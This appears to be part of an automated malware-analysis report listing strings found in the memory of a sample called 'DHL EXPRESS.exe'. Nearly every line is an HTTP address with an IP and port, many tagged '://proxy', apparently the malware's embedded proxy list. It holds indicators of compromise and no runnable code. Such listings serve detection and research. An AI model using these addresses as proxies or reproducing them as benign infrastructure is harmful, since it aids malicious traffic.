Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.46.229.19:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.46.233.158:61968://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.128.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.128.182:8089
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.81.128.182:8089://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:13003
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:13003://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:29360
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:29360://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:44523
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.207.129:44523://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://192.99.35.177:36077://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.138.52:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.57.96:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB35000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.106.57.96:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB4B000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADC6C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.107.169.222:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB5B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.107.169.222:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD7D1000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.122.98.1:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.122.98.1:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.138.178
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.138.178.6:8282
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.138.178.6:8282://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.201:4444
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.201:4444://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.200.151.158:8192://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182:16099
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.231.40.182:16099://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.56.84:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.58.92:8081://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.248:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB4F000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB3B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.239.86.249:3128p
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.248.35.153:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.248.35.153:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.21.200:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB5D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.21.200:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.34.95.110:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3E9000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB3EF000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.56.255.179:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.8
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.87.43:4444
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://193.8.87.43:4444://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.113.73.38:9331
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.113.73.38:9331://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.28:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.28:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.75:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.124.36.75:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.187:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.145.209.187:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.56:8888
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.150.69.56:8888://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.93:5946
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.93:5946://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.94:46195
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.163.159.94:46195://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.182.187.78:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.182.187.78:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.182.187.78:3128P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB6D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.127.60:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB25A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.186.35.70:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.213.208.226:8180://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.233.78.142:49628://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.247.173.17:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:25517
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.31.79.75:25517://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.61:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.61:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.62:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.62:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA856000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.91:12334
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AA925000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.4.50.91:12334://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.67.91.153:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.79.44.1
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.79.44.158:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://194.79.44.158:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD98A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD935000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.114.209.50:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:31145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:31145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:44017
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.138.73.54:44017://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.172.161:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.172.161:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.243
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.243.38:49685
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.243.38:49685://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.43.184:19058
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAE63000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.43.184:19058://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.43.221:64384
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.154.43.221:64384://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD975000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.158.16.9:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:52858
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.177.217.131:52858://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.147.185:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.147.185:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.246.166:5566
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.246.166:5566/
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.201.246.166:5566://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.23.57.78:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.248.243.149:7237
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.248.243.149:7237://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD979000.00000004.00000800.00020000.00000000.sdmp, DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.25.20.108:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.25.20.108:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.32.249://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.35.32.249:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.74.57:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.74.57:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.93.2
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.93.234:1080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.93.234:1080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://195.98.93.234:1080P
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADFCA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ADB96000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.1.95.124:80
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.25:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AD2B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.12.25:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.129:8083
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.20.125.129:8083://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.202.210.73:32650
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.202.40.17:3128
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AAB02000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.202.40.17:3128://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.219.202.74:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.219.202.74:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.61.44.5
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.61.44.54:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://196.61.44.54:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.155.237
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.155.237.74:8111
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AEC29000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.155.237.74:8111://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.211.244.135:5678
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB14B000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.211.244.135:5678://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.47.122:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AC8B3000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.47.122:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.65.40:55443
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AB560000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.65.40:55443://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.85.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.85.163:8080
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2AE9CA000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.232.85.163:8080://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.17:4145
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.17:4145://proxy
Source: DHL EXPRESS.exe, 00000000.00000002.2818468737.000001D2ABB77000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://197.234.13.36:4145
